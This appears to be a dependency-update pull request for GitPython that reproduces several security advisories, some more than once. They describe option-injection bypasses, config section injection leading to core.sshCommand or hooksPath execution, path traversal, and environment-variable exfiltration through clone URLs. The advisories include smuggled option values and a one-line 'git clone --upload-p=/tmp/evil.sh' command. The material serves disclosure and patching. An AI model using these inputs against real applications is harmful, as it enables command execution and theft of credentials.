Update dependency gitpython to ~=3.2.1 [SECURITY] #26
Loading…
Reference in a new issue
No description provided.
Delete branch "renovate/pypi-gitpython-vulnerability"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
This PR contains the following updates:
~=3.1.45→~=3.2.1GitPython has Command Injection via Git options bypass
CVE-2026-42215 / GHSA-rpm5-65cw-6hj4 / PYSEC-2026-2160
More information
Details
Summary
GitPython blocks dangerous Git options such as
--upload-packand--receive-packby default, but the equivalent Python kwargsupload_packandreceive_packbypass that check. If an application passes attacker-controlled kwargs intoRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push(), this leads to arbitrary command execution even whenallow_unsafe_optionsis left at its default value ofFalse.Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198That validation is performed by
Git.check_unsafe_options()ingit/cmd.py:948-961. The validator correctly blocks option names such asupload-pack,receive-pack, andexec.Later, GitPython converts Python kwargs into Git command-line flags in
Git.transform_kwarg()atgit/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper executionThe same bypass works for:
This does not appear to affect every unsafe option. For example,
exec=is already rejected because the raw kwarg nameexecmatches the blocked option name before normalization.Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
control=blockedproof_exists True ...id, working directory, argv, and selected environment variable namesExample output:
This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into
--upload-pack.Impact
Who is impacted:
**kwargsWhat the attacker needs to control:
upload_packorreceive_packin the kwargs passed toRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push()From a severity perspective, this could lead to
The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Unsafe option check validates multi_options before shlex.split transformation
CVE-2026-42284 / GHSA-x2qx-6953-8485 / PYSEC-2026-2161
More information
Details
Summary
_clone()validatesmulti_optionsas the original list, then executesshlex.split(" ".join(multi_options)). A string like"--branch main --config core.hooksPath=/x"passes validation (starts with--branch), but after split becomes["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.Details
The vulnerable code is in
git/repo/base.pyline 1383:Then validation runs on the original list at line 1390:
Then execution uses the transformed result at line 1392:
The check at
git/cmd.pyline 959 usesstartswith:"--branch main --config ..."does not start with"--config", so it passes. Aftershlex.split,"--config"becomes its own token and reaches git.Also affects
Submodule.update()viaclone_multi_options.PoC
Output:
Impact
Any application passing user input to
multi_optionsinclone_from(),clone(), orSubmodule.update()is vulnerable. Attacker embeds--config core.hooksPath=<dir>inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-42215 / GHSA-rpm5-65cw-6hj4 / PYSEC-2026-2160
More information
Details
GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-42284 / GHSA-x2qx-6953-8485 / PYSEC-2026-2161
More information
Details
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository
CVE-2026-44243 / GHSA-7545-fcxq-7j24 / PYSEC-2026-2162
More information
Details
🧾 Summary
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s
.gitdirectory via insufficient validation of reference paths in reference creation, rename, and delete operations.📦 Affected Versions
<= 3.1.46and currentmain(3.1.47in local checkout)🧠 Details
Vulnerability Type
Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion
Root Cause
Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.
SymbolicReference._check_ref_name_valid()rejects traversal sequences such as.., butSymbolicReference.create,Reference.create,SymbolicReference.set_reference,SymbolicReference.rename, andSymbolicReference.deletestill construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.Affected Code
Attack Vector
Local attack through application-controlled input passed into GitPython reference APIs
Authentication Required
None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.
🧪 Proof of Concept
Setup
Exploit
Result
💥 Impact
What can an attacker do?
Security Impact
Who is affected?
🛠️ Mitigation / Fix
Recommended Fix
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:PReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-44243 / GHSA-7545-fcxq-7j24 / PYSEC-2026-2162
More information
Details
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.
Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath
CVE-2026-44244 / GHSA-v87r-6q3f-2j67 / PYSEC-2026-2163
More information
Details
GitConfigParser.set_value()passes values to Python'sconfigparserwithout validating for newlines. GitPython's own_write()converts embedded newlines into indented continuation lines (e.g.\nbecomes\n\t), but Git still accepts an indented[core]stanza as a section header — so the injectedcore.hooksPathbecomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented
[core]stanza as a section header, so the injectedcore.hooksPathbecomes effective configuration.This was found while auditing MLRun's
project.push()method, which passesauthor_nameandauthor_emaildirectly toconfig_writer().set_value()with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in.git/config.PoC (standalone, no MLRun required):
Tested on GitPython 3.1.46, git 2.39+.
Impact: This is persistent repo config poisoning. Any user who can supply
author_nameorauthor_emailto an application callingconfig_writer().set_value()can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the.git/configof a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.Remediation:
set_value()should raise on CR, LF, or NUL in values rather than silently pass them through:Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.
Affected wherever
config_writer().set_value(section, key, user_input)is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing theirset_value()call sites for externally influenced inputs.Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-44244 / GHSA-v87r-6q3f-2j67 / PYSEC-2026-2163
More information
Details
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.
Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath
CVE-2026-67326 / GHSA-mv93-w799-cj2w / PYSEC-2026-3980
More information
Details
Summary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
Severity
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-67326 / GHSA-mv93-w799-cj2w / PYSEC-2026-3980
More information
Details
GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.
Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist
CVE-2026-67325 / GHSA-2f96-g7mh-g2hx / PYSEC-2026-3836
More information
Details
Command injection via long-option prefix abbreviation bypassing
check_unsafe_options(incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current
main(verified at commit20c5e275,3.1.50-42)Reporter: hackkim
Summary
The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (
--upload-pack,--config,-c,-ufor clone;--upload-packfor fetch/pull;--receive-pack,--execfor push) so callers cannot reach command-executing options unless they passallow_unsafe_options=True.The fix canonicalizes an option name along one axis (underscore→hyphen via
dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p,--upload-pa,--upload-pacall resolve to--upload-pack). So a kwarg key likeupload_pcanonicalizes toupload-p, misses the blocklist dict, and is emitted to git as--upload-p=<value>→ executed as--upload-pack=<value>→ command injection, in the defaultallow_unsafe_options=Falseconfiguration.The asymmetry (root cause)
The guard normalizes only
_→-and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.Affected code (commit
20c5e275)git/cmd.py:948-960_canonicalize_option_namegit/cmd.py:963-974check_unsafe_optionsgit/cmd.py:1511transform_kwarg--<dashify(name)>=<value>to the CLIgit/repo/base.py:1411,1413git/remote.py:1074,1128,1201Bypass keys (verified)
upload_p,upload_pac--upload-packreceive_p--receive-packexe--execconf,confi--configMinimal PoC
Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current
main(git 2.50.1):Equivalent at the shell:
git clone --upload-p=/tmp/evil.sh src outrunsevil.sh.Confirmed behavior:
upload_pack(exact) → blocked;upload_p(abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.allow_unsafe_options=Trueopt-out behaves as documented (out of scope).Honest scope note
Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (
allow_unsafe_options=False), which this variant defeats.On the
--configfamily:confbypasses the option blocklist, but weaponizing--config protocol.ext.allow=alwaysvia anext::URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family isupload-pack/receive-pack/exec. Reported transparently — not claiming Critical.Suggested remediation (any one)
startswithon the blocked canonical name, afterdashify).--end-of-optionsor invoke git in a way that disables long-option abbreviation.Remediation should also cover the
-c/--configfamily abbreviations, even though theext::route is currently gated by the protocol allowlist.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: command injection via unguarded Git options in
Repo.archive(),git.ls_remote(), and arbitrary file overwrite viaRepo.iter_commits()/Repo.blame()CVE-2026-67323 / GHSA-956x-8gvw-wg5v / PYSEC-2026-3839
More information
Details
Summary
GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in
git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this
check him he is only call from fetch, pull, push and clone_from, everything else who build a git
argv from caller values just go through, no check, three examples
Code analysis
Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the
treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and
they land before it, so {"remote": ".", "exec": ""} give
git archive --remote=. --exec= -- , the --remote spawn the upload-archive helper and
--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and
archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage
repo.git.ls_remote(url, upload_pack=""), same builder, same result, it's exactly the kwarg
gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic
repo.git.(**user_dict) surface him he never got the fix
Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev
before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become
git rev-list --output=... --, and git he open and truncate that file before he even validate the
revision, the file is gone even if the command error right after
PoC
Released 3.1.50, git 2.51.0, stock config (
git config --get protocol.ext.allowreturns nothing here).Common setup for the three:
Severity
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist
CVE-2026-67325 / GHSA-2f96-g7mh-g2hx / PYSEC-2026-3836
More information
Details
Command injection via long-option prefix abbreviation bypassing
check_unsafe_options(incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current
main(verified at commit20c5e275,3.1.50-42)Reporter: hackkim
Summary
The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (
--upload-pack,--config,-c,-ufor clone;--upload-packfor fetch/pull;--receive-pack,--execfor push) so callers cannot reach command-executing options unless they passallow_unsafe_options=True.The fix canonicalizes an option name along one axis (underscore→hyphen via
dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p,--upload-pa,--upload-pacall resolve to--upload-pack). So a kwarg key likeupload_pcanonicalizes toupload-p, misses the blocklist dict, and is emitted to git as--upload-p=<value>→ executed as--upload-pack=<value>→ command injection, in the defaultallow_unsafe_options=Falseconfiguration.The asymmetry (root cause)
The guard normalizes only
_→-and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.Affected code (commit
20c5e275)git/cmd.py:948-960_canonicalize_option_namegit/cmd.py:963-974check_unsafe_optionsgit/cmd.py:1511transform_kwarg--<dashify(name)>=<value>to the CLIgit/repo/base.py:1411,1413git/remote.py:1074,1128,1201Bypass keys (verified)
upload_p,upload_pac--upload-packreceive_p--receive-packexe--execconf,confi--configMinimal PoC
Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current
main(git 2.50.1):Equivalent at the shell:
git clone --upload-p=/tmp/evil.sh src outrunsevil.sh.Confirmed behavior:
upload_pack(exact) → blocked;upload_p(abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.allow_unsafe_options=Trueopt-out behaves as documented (out of scope).Honest scope note
Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (
allow_unsafe_options=False), which this variant defeats.On the
--configfamily:confbypasses the option blocklist, but weaponizing--config protocol.ext.allow=alwaysvia anext::URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family isupload-pack/receive-pack/exec. Reported transparently — not claiming Critical.Suggested remediation (any one)
startswithon the blocked canonical name, afterdashify).--end-of-optionsor invoke git in a way that disables long-option abbreviation.Remediation should also cover the
-c/--configfamily abbreviations, even though theext::route is currently gated by the protocol allowlist.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: command injection via unguarded Git options in
Repo.archive(),git.ls_remote(), and arbitrary file overwrite viaRepo.iter_commits()/Repo.blame()CVE-2026-67323 / GHSA-956x-8gvw-wg5v / PYSEC-2026-3839
More information
Details
Summary
GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in
git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this
check him he is only call from fetch, pull, push and clone_from, everything else who build a git
argv from caller values just go through, no check, three examples
Code analysis
Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the
treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and
they land before it, so {"remote": ".", "exec": ""} give
git archive --remote=. --exec= -- , the --remote spawn the upload-archive helper and
--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and
archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage
repo.git.ls_remote(url, upload_pack=""), same builder, same result, it's exactly the kwarg
gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic
repo.git.(**user_dict) surface him he never got the fix
Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev
before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become
git rev-list --output=... --, and git he open and truncate that file before he even validate the
revision, the file is gone even if the command error right after
PoC
Released 3.1.50, git 2.51.0, stock config (
git config --get protocol.ext.allowreturns nothing here).Common setup for the three:
Severity
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
CVE-2026-67322 / GHSA-rwj8-pgh3-r573 / PYSEC-2026-3842
More information
Details
Summary
Repo.clone_from()passes the caller-supplied remote URL throughGit.polish_url(), which on every non-Cygwin platform callsos.path.expandvars()on the URL before handing it togit clone. An attacker who controls the URL argument — the documented use case forclone_from()in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed$NAME/${NAME}tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such asAWS_SECRET_ACCESS_KEYorGITHUB_TOKENwith no precondition beyond the ability to submit a clone URL.Details
Affected versions:
gitpython(PyPI) — all releases up to and including3.1.50(latest at time of reporting); confirmed present on themainbranch.Git.polish_url()unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:git/cmd.py(v3.1.50), lines 907–925:Repo._clone()— reached from the publicRepo.clone_from()(git/repo/base.py:1520) andRepo.clone()— runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to thegit clonesubprocess:git/repo/base.py(v3.1.50), lines 1407–1418:Because
os.path.expandvars()on POSIX substitutes$NAMEand${NAME}withos.environ[NAME]when set (and on Windows additionally%NAME%), an attacker-supplied URL such as:is rewritten server-side to embed the literal secret value in the path component, and
git clonethen issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value toattacker.example. The clone itself will typically fail, but the secret has already left the server by that point.polish_url()was written as a local-path normalisation helper (Cygwin path conversion,~expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, noexpand_vars=Falseopt-out for the clone URL, and no documentation that the URL undergoes environment expansion — theclone_fromdocstring describesurlonly as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument:Repo.__init__emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons",git/repo/base.py:226–231) and offersexpand_vars=False. The same treatment is missing for the network-bound clone URL.Secondary consequence (unsafe-protocol filter bypass). Because
check_unsafe_protocols()runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reachesgit, an attacker who additionally controls any environment variable in the server process could set e.g.X=ext::sh -c '...'and submiturl="$X"; the raw string$Xpasses theext::filter, then expands to anext::remote-helper transport thatgitwill execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.PoC
Tested against
gitpython==3.1.50on Linux with Python 3 andgitonPATH.poc.py:Expected output:
The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host,
gitwould issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.Impact
Any application that calls
Repo.clone_from()(orRepo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.Suggested fix: Remove the
os.path.expandvars()(andos.path.expanduser()) call fromGit.polish_url()for inputs that are remote URLs (contain://or matchuser@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation onRepo(path, expand_vars=…). Additionally, applycheck_unsafe_protocols()to the post-transformation URL so no futurepolish_urlchange can silently bypass theext::filter.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
CVE-2026-67322 / GHSA-rwj8-pgh3-r573 / PYSEC-2026-3842
More information
Details
Summary
Repo.clone_from()passes the caller-supplied remote URL throughGit.polish_url(), which on every non-Cygwin platform callsos.path.expandvars()on the URL before handing it togit clone. An attacker who controls the URL argument — the documented use case forclone_from()in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed$NAME/${NAME}tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such asAWS_SECRET_ACCESS_KEYorGITHUB_TOKENwith no precondition beyond the ability to submit a clone URL.Details
Affected versions:
gitpython(PyPI) — all releases up to and including3.1.50(latest at time of reporting); confirmed present on themainbranch.Git.polish_url()unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:git/cmd.py(v3.1.50), lines 907–925:Repo._clone()— reached from the publicRepo.clone_from()(git/repo/base.py:1520) andRepo.clone()— runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to thegit clonesubprocess:git/repo/base.py(v3.1.50), lines 1407–1418:Because
os.path.expandvars()on POSIX substitutes$NAMEand${NAME}withos.environ[NAME]when set (and on Windows additionally%NAME%), an attacker-supplied URL such as:is rewritten server-side to embed the literal secret value in the path component, and
git clonethen issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value toattacker.example. The clone itself will typically fail, but the secret has already left the server by that point.polish_url()was written as a local-path normalisation helper (Cygwin path conversion,~expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, noexpand_vars=Falseopt-out for the clone URL, and no documentation that the URL undergoes environment expansion — theclone_fromdocstring describesurlonly as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument:Repo.__init__emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons",git/repo/base.py:226–231) and offersexpand_vars=False. The same treatment is missing for the network-bound clone URL.Secondary consequence (unsafe-protocol filter bypass). Because
check_unsafe_protocols()runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reachesgit, an attacker who additionally controls any environment variable in the server process could set e.g.X=ext::sh -c '...'and submiturl="$X"; the raw string$Xpasses theext::filter, then expands to anext::remote-helper transport thatgitwill execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.PoC
Tested against
gitpython==3.1.50on Linux with Python 3 andgitonPATH.poc.py:Expected output:
The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host,
gitwould issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.Impact
Any application that calls
Repo.clone_from()(orRepo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.Suggested fix: Remove the
os.path.expandvars()(andos.path.expanduser()) call fromGit.polish_url()for inputs that are remote URLs (contain://or matchuser@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation onRepo(path, expand_vars=…). Additionally, applycheck_unsafe_protocols()to the post-transformation URL so no futurepolish_urlchange can silently bypass theext::filter.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)
CVE-2026-69097 / GHSA-3rp5-jjmw-4wv2 / PYSEC-2026-3981
More information
Details
Summary
In GitPython
<= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the[...]header with no other escaping. A section/subsection name that contains] [ "closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's.gitmodules, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted.git/config, an attacker can setcore.sshCommand(oralias.*,core.pager,core.fsmonitor) and achieve remote code execution on the victim's next git operation. Likely CWE-74 (Injection).This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed newline injection into config values/names (patched in 3.1.50); the
[r\n\x00]guard added for them does not stop a same-line section break inside a name.Details
The only guard applied to section/option names before writing is
_assure_config_name_safe, which uses a regex that matches solely CR/LF/NUL:git/config.py:75,897-899(GitPython 3.1.52):The name is then serialized into the header with no escaping of
],[,", space,=or#:git/config.py:693:For submodules the name is wrapped as
submodule "<name>"(git/objects/submodule/util.py:39,return f'submodule "{name}"'), which supplies the balancing quote. A submodule named:therefore serializes to the header
[submodule "x"] [core] sshCommand=CMD #"]. git parses everything after the first]on that line as a fresh section, yieldingcore.sshCommand=CMD(the trailing#"]is an inline comment). No CR/LF/NUL appears, so_assure_config_name_safenever fires.The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's
.git/config:Repo.create_submodule(name=<untrusted>, ...)→Submodule.add→git/objects/submodule/base.py:619writer.set_value(sm_section(name), "url", url)— a single call, no hostile remote required.Repo.clone_from(<hostile url>)+repo.submodule_update(init=True)→git/objects/submodule/base.py:855writer.set_value(sm_section(self.name), "url", self.url), whereself.nameis read unvalidated from the cloned repo's.gitmodules.Asymmetry: the sibling class is blocked — a newline in a config value, e.g.
set_value("core", "editor", "x\n\tsshCommand=CMD"), raisesValueError. The section-name bracket payload is not caught by the same guard.PoC
Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with
git config --get; no ssh/fetch/push is run and nothing is executed.Run:
Observed output:
The benign name yields a single clean
